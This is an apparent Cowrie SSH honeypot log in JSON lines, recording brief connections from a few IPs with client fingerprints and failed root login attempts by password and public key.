{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:49.922549Z","src_ip":"27.74.248.52","session":"4eab348bc164","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123890","message":"login attempt [root/123890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:51.301809Z","src_ip":"27.74.248.52","session":"4eab348bc164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:26:52.763266Z","src_ip":"27.74.248.52","session":"4eab348bc164","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.207.172","src_port":35244,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1408d55264d","protocol":"ssh","message":"New connection: 62.210.207.172:35244 (10.17.0.5:22) [session: e1408d55264d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:27:21.848020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:27:21.853299Z","src_ip":"62.210.207.172","session":"e1408d55264d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:27:21.951936Z","src_ip":"62.210.207.172","session":"e1408d55264d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:84:2b:ab:84:69:02:d3:16:c4:43:76:98:83:3a:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8LZ6CoaP0PR/e2YtPeok1UAFHdgoZ9rZExcAtOmZDU22HF+DmxpbFqM2VQDl86Syt272SArUDPh8+H9PPrCbhOme/8PTnhEkjDvfrjJ6ppqGs2qjHy+WD8GGlgLPRNjQh+8MMvNK2Do4IcI1HiYbpHvrn29KEo3XrTFCxqL85rU1OaNwMrFuDnSOu6brvq0wUz7PvnYVFgXfY48m12e9yfZHy7QpixkqZ+bLqhWtpjwVKmFxGuxqtmaav4MMar+Dorbk53OOswxaXzg00GeADhvCvbprhX8EQ/RhU4TrONxZ8hvX769Elt6QMTAW4uSSEDvLgcRUaqjT7qRkHY4l+wmU06CeiL8MRZ9ZTV3iRHPYQ+MPwRGW25EcaYYlOvmmwccwgoi6ylPthtHh0tCG4KbheSdfnKk8d8y60Jj3loYceXZgiHoKJEdOVFhMUlEQkS0qxJnBqpt0qui4nH82zS2ZeF8Ya9LRDNGDR4c7qj3OW4PTNxg6jwdPErHIVlvc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:84:2b:ab:84:69:02:d3:16:c4:43:76:98:83:3a:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:27:22.377264Z","src_ip":"62.210.207.172","session":"e1408d55264d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:84:2b:ab:84:69:02:d3:16:c4:43:76:98:83:3a:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8LZ6CoaP0PR/e2YtPeok1UAFHdgoZ9rZExcAtOmZDU22HF+DmxpbFqM2VQDl86Syt272SArUDPh8+H9PPrCbhOme/8PTnhEkjDvfrjJ6ppqGs2qjHy+WD8GGlgLPRNjQh+8MMvNK2Do4IcI1HiYbpHvrn29KEo3XrTFCxqL85rU1OaNwMrFuDnSOu6brvq0wUz7PvnYVFgXfY48m12e9yfZHy7QpixkqZ+bLqhWtpjwVKmFxGuxqtmaav4MMar+Dorbk53OOswxaXzg00GeADhvCvbprhX8EQ/RhU4TrONxZ8hvX769Elt6QMTAW4uSSEDvLgcRUaqjT7qRkHY4l+wmU06CeiL8MRZ9ZTV3iRHPYQ+MPwRGW25EcaYYlOvmmwccwgoi6ylPthtHh0tCG4KbheSdfnKk8d8y60Jj3loYceXZgiHoKJEdOVFhMUlEQkS0qxJnBqpt0qui4nH82zS2ZeF8Ya9LRDNGDR4c7qj3OW4PTNxg6jwdPErHIVlvc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:27:22.381151Z","src_ip":"62.210.207.172","session":"e1408d55264d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:80:e3:cc:4b:c8:4d:2f:3e:e5:c7:2f:5d:40:cd:93","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPCCtofBTsGlnz4zh7cMxDJOTJmk5nkpRjOCdVmASAhktM72jb9dDM01Gv+SzcGu5bluk9gPNc4j+RHkjkn+okws21W2spAVtPm5UhIg8mrJAFLYdEcDWnZuaJdj+K7FhJ4kxM6zenq8cIt4J1DoLJPR0Z58bhqfQiqfta+2ZaCfAAAAFQDXm9NFXzfaz0kyxPWp5+qreaOqwQAAAIAh3P7WZ14CRpH+6DZehSJpFlmVgOaTmdCZWDS1NbAVt24irwcWbLPkJXRR+JnloAPkLTTYcKTU3aWC5eZMt0gCujPBX+crGaxsiusBb+SVB1UYwkY2jAG1JuVq30NM4U2XRzkLhTK03kDqt202ECCV/rGsDkAHS4gbYRqSpJglkgAAAIA9IwkaCYiWYPT8CrUhbr3Q/mNXz0FLMVnHajX4S1pS2+Ebz7sKohCjuwzciKlwBGL8WMVGuP0/HDDqdrMSaYVnHhmtHFEK1sixubI2x3AbKlk/qYXWCCfw9E7F7t7BYIHiVGt5Ks0QM0xxoZgLUGXOlV345pTXDOZqAfR0CodKjw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint e9:80:e3:cc:4b:c8:4d:2f:3e:e5:c7:2f:5d:40:cd:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:27:22.463819Z","src_ip":"62.210.207.172","session":"e1408d55264d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:80:e3:cc:4b:c8:4d:2f:3e:e5:c7:2f:5d:40:cd:93","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPCCtofBTsGlnz4zh7cMxDJOTJmk5nkpRjOCdVmASAhktM72jb9dDM01Gv+SzcGu5bluk9gPNc4j+RHkjkn+okws21W2spAVtPm5UhIg8mrJAFLYdEcDWnZuaJdj+K7FhJ4kxM6zenq8cIt4J1DoLJPR0Z58bhqfQiqfta+2ZaCfAAAAFQDXm9NFXzfaz0kyxPWp5+qreaOqwQAAAIAh3P7WZ14CRpH+6DZehSJpFlmVgOaTmdCZWDS1NbAVt24irwcWbLPkJXRR+JnloAPkLTTYcKTU3aWC5eZMt0gCujPBX+crGaxsiusBb+SVB1UYwkY2jAG1JuVq30NM4U2XRzkLhTK03kDqt202ECCV/rGsDkAHS4gbYRqSpJglkgAAAIA9IwkaCYiWYPT8CrUhbr3Q/mNXz0FLMVnHajX4S1pS2+Ebz7sKohCjuwzciKlwBGL8WMVGuP0/HDDqdrMSaYVnHhmtHFEK1sixubI2x3AbKlk/qYXWCCfw9E7F7t7BYIHiVGt5Ks0QM0xxoZgLUGXOlV345pTXDOZqAfR0CodKjw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:27:22.467791Z","src_ip":"62.210.207.172","session":"e1408d55264d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:c0:9e:e3:a5:bc:16:62:70:2b:8b:2c:dc:a8:33:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbw7iyhpHU2eEGnZHBaZDnNu8SIlzGQNOeo5vJB0+ivhoSoOZ/cazOKGiAal4J1iZSTnjLfXadBEzUB3a5yMzxn+AFl8JqNOZnuAd3bQW1PfVCNby1BSDLwPUievUOWqztTRlDtImESTu1rxKJof8sjH1FWjZsGz3DgLXYCN2GWzjVqlcPuBO3A9eSEm5+vL9zrGBK3wgZCODQ5QotdXFTSEYwYyNEfj4sZFTkT5vef2L6m0s2Iby9gb+K7g2vs4qctLzqgZ0hBALWAfxayoLSVwm75hwtkPwoVyYRUP8Qy6tEbpTzv+3PAfVM79E3VjXi6l1896xW9KIsKXbOoOn9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:c0:9e:e3:a5:bc:16:62:70:2b:8b:2c:dc:a8:33:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:27:22.549371Z","src_ip":"62.210.207.172","session":"e1408d55264d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:c0:9e:e3:a5:bc:16:62:70:2b:8b:2c:dc:a8:33:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbw7iyhpHU2eEGnZHBaZDnNu8SIlzGQNOeo5vJB0+ivhoSoOZ/cazOKGiAal4J1iZSTnjLfXadBEzUB3a5yMzxn+AFl8JqNOZnuAd3bQW1PfVCNby1BSDLwPUievUOWqztTRlDtImESTu1rxKJof8sjH1FWjZsGz3DgLXYCN2GWzjVqlcPuBO3A9eSEm5+vL9zrGBK3wgZCODQ5QotdXFTSEYwYyNEfj4sZFTkT5vef2L6m0s2Iby9gb+K7g2vs4qctLzqgZ0hBALWAfxayoLSVwm75hwtkPwoVyYRUP8Qy6tEbpTzv+3PAfVM79E3VjXi6l1896xW9KIsKXbOoOn9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:27:22.553949Z","src_ip":"62.210.207.172","session":"e1408d55264d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:97:37:26:62:21:74:35:0f:21:da:99:46:de:1f:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDICJRMq/e0nI5RJ1Tur5Dn5aGuyPeC0CV31ZGIpgxKaPtDamWjnMWHnREiyNN7DZjk0gRkMKjGZjyvictUbGYdKo+xN/H36UJ4AjI0zm+2FRqnHCEeAz2KfD5ECOeyUKiQRD+PiZvjq88Nz6O8NhimKeknFIY5AC/qie5YzvEvBLzuniIbtB6BS1zGpgMs/cVhmMxvTqgqXVONeA7vSjjQVI86g3dIeGDo7S/zQ7dvRjOWrrYXy63cTcDm7FqoO6FwPhf6zjvh3Kztc5bAwzhnNA0UUNozUv1kDQGmwwbttrbLV5XJk+ZC3WfMH1XoyuoXUsXGdXmQBduOBeKHPYFB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:97:37:26:62:21:74:35:0f:21:da:99:46:de:1f:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:27:22.636571Z","src_ip":"62.210.207.172","session":"e1408d55264d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:97:37:26:62:21:74:35:0f:21:da:99:46:de:1f:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDICJRMq/e0nI5RJ1Tur5Dn5aGuyPeC0CV31ZGIpgxKaPtDamWjnMWHnREiyNN7DZjk0gRkMKjGZjyvictUbGYdKo+xN/H36UJ4AjI0zm+2FRqnHCEeAz2KfD5ECOeyUKiQRD+PiZvjq88Nz6O8NhimKeknFIY5AC/qie5YzvEvBLzuniIbtB6BS1zGpgMs/cVhmMxvTqgqXVONeA7vSjjQVI86g3dIeGDo7S/zQ7dvRjOWrrYXy63cTcDm7FqoO6FwPhf6zjvh3Kztc5bAwzhnNA0UUNozUv1kDQGmwwbttrbLV5XJk+ZC3WfMH1XoyuoXUsXGdXmQBduOBeKHPYFB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:27:22.640574Z","src_ip":"62.210.207.172","session":"e1408d55264d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:ac:94:a8:43:6f:35:3f:d8:51:3f:0d:e3:c5:65:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf0Ix4QAVg72LWV+HqDZMUJJC0SRNx350gX308TESa0/7JtWVYgInWLLKroSTy89YJKGj+D/hzilkn/MSxb7V6wI9VuS3bzKOrf4tQxztwuZttzYRN/qzmPh4xU+3N7R5v7Jms6qaTPSBAT9OhsNCwvxIAi0kHZHqqcbQOMM8W2wueGikXRfoau0aJ+ax5RdwuxK30/2Ge4JstP0cACXo1pt8vjBo2wYVmRTjwOqtwIFRE0LP7HvkxoU4PgNzyJYMoGWyoyQmuBzfyp7LT+HUCO/aY8147u+69+EDdA7GkGAB/zN+jclWZWu61cfJ0eu0X3hu5doDe9g5mcxDxNLXP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:ac:94:a8:43:6f:35:3f:d8:51:3f:0d:e3:c5:65:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:27:22.724471Z","src_ip":"62.210.207.172","session":"e1408d55264d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:ac:94:a8:43:6f:35:3f:d8:51:3f:0d:e3:c5:65:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf0Ix4QAVg72LWV+HqDZMUJJC0SRNx350gX308TESa0/7JtWVYgInWLLKroSTy89YJKGj+D/hzilkn/MSxb7V6wI9VuS3bzKOrf4tQxztwuZttzYRN/qzmPh4xU+3N7R5v7Jms6qaTPSBAT9OhsNCwvxIAi0kHZHqqcbQOMM8W2wueGikXRfoau0aJ+ax5RdwuxK30/2Ge4JstP0cACXo1pt8vjBo2wYVmRTjwOqtwIFRE0LP7HvkxoU4PgNzyJYMoGWyoyQmuBzfyp7LT+HUCO/aY8147u+69+EDdA7GkGAB/zN+jclWZWu61cfJ0eu0X3hu5doDe9g5mcxDxNLXP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:27:22.727767Z","src_ip":"62.210.207.172","session":"e1408d55264d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:27:22.809342Z","src_ip":"62.210.207.172","session":"e1408d55264d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.201.25","src_port":40476,"dst_ip":"10.17.0.5","dst_port":22,"session":"798962ef4d0a","protocol":"ssh","message":"New connection: 148.113.201.25:40476 (10.17.0.5:22) [session: 798962ef4d0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:04.634857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:04.640611Z","src_ip":"148.113.201.25","session":"798962ef4d0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:04.661863Z","src_ip":"148.113.201.25","session":"798962ef4d0a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:84:2b:ab:84:69:02:d3:16:c4:43:76:98:83:3a:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8LZ6CoaP0PR/e2YtPeok1UAFHdgoZ9rZExcAtOmZDU22HF+DmxpbFqM2VQDl86Syt272SArUDPh8+H9PPrCbhOme/8PTnhEkjDvfrjJ6ppqGs2qjHy+WD8GGlgLPRNjQh+8MMvNK2Do4IcI1HiYbpHvrn29KEo3XrTFCxqL85rU1OaNwMrFuDnSOu6brvq0wUz7PvnYVFgXfY48m12e9yfZHy7QpixkqZ+bLqhWtpjwVKmFxGuxqtmaav4MMar+Dorbk53OOswxaXzg00GeADhvCvbprhX8EQ/RhU4TrONxZ8hvX769Elt6QMTAW4uSSEDvLgcRUaqjT7qRkHY4l+wmU06CeiL8MRZ9ZTV3iRHPYQ+MPwRGW25EcaYYlOvmmwccwgoi6ylPthtHh0tCG4KbheSdfnKk8d8y60Jj3loYceXZgiHoKJEdOVFhMUlEQkS0qxJnBqpt0qui4nH82zS2ZeF8Ya9LRDNGDR4c7qj3OW4PTNxg6jwdPErHIVlvc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:84:2b:ab:84:69:02:d3:16:c4:43:76:98:83:3a:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:04.744099Z","src_ip":"148.113.201.25","session":"798962ef4d0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:84:2b:ab:84:69:02:d3:16:c4:43:76:98:83:3a:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8LZ6CoaP0PR/e2YtPeok1UAFHdgoZ9rZExcAtOmZDU22HF+DmxpbFqM2VQDl86Syt272SArUDPh8+H9PPrCbhOme/8PTnhEkjDvfrjJ6ppqGs2qjHy+WD8GGlgLPRNjQh+8MMvNK2Do4IcI1HiYbpHvrn29KEo3XrTFCxqL85rU1OaNwMrFuDnSOu6brvq0wUz7PvnYVFgXfY48m12e9yfZHy7QpixkqZ+bLqhWtpjwVKmFxGuxqtmaav4MMar+Dorbk53OOswxaXzg00GeADhvCvbprhX8EQ/RhU4TrONxZ8hvX769Elt6QMTAW4uSSEDvLgcRUaqjT7qRkHY4l+wmU06CeiL8MRZ9ZTV3iRHPYQ+MPwRGW25EcaYYlOvmmwccwgoi6ylPthtHh0tCG4KbheSdfnKk8d8y60Jj3loYceXZgiHoKJEdOVFhMUlEQkS0qxJnBqpt0qui4nH82zS2ZeF8Ya9LRDNGDR4c7qj3OW4PTNxg6jwdPErHIVlvc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:04.748921Z","src_ip":"148.113.201.25","session":"798962ef4d0a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:80:e3:cc:4b:c8:4d:2f:3e:e5:c7:2f:5d:40:cd:93","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPCCtofBTsGlnz4zh7cMxDJOTJmk5nkpRjOCdVmASAhktM72jb9dDM01Gv+SzcGu5bluk9gPNc4j+RHkjkn+okws21W2spAVtPm5UhIg8mrJAFLYdEcDWnZuaJdj+K7FhJ4kxM6zenq8cIt4J1DoLJPR0Z58bhqfQiqfta+2ZaCfAAAAFQDXm9NFXzfaz0kyxPWp5+qreaOqwQAAAIAh3P7WZ14CRpH+6DZehSJpFlmVgOaTmdCZWDS1NbAVt24irwcWbLPkJXRR+JnloAPkLTTYcKTU3aWC5eZMt0gCujPBX+crGaxsiusBb+SVB1UYwkY2jAG1JuVq30NM4U2XRzkLhTK03kDqt202ECCV/rGsDkAHS4gbYRqSpJglkgAAAIA9IwkaCYiWYPT8CrUhbr3Q/mNXz0FLMVnHajX4S1pS2+Ebz7sKohCjuwzciKlwBGL8WMVGuP0/HDDqdrMSaYVnHhmtHFEK1sixubI2x3AbKlk/qYXWCCfw9E7F7t7BYIHiVGt5Ks0QM0xxoZgLUGXOlV345pTXDOZqAfR0CodKjw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint e9:80:e3:cc:4b:c8:4d:2f:3e:e5:c7:2f:5d:40:cd:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:28:04.775860Z","src_ip":"148.113.201.25","session":"798962ef4d0a","protocol":"ssh"}
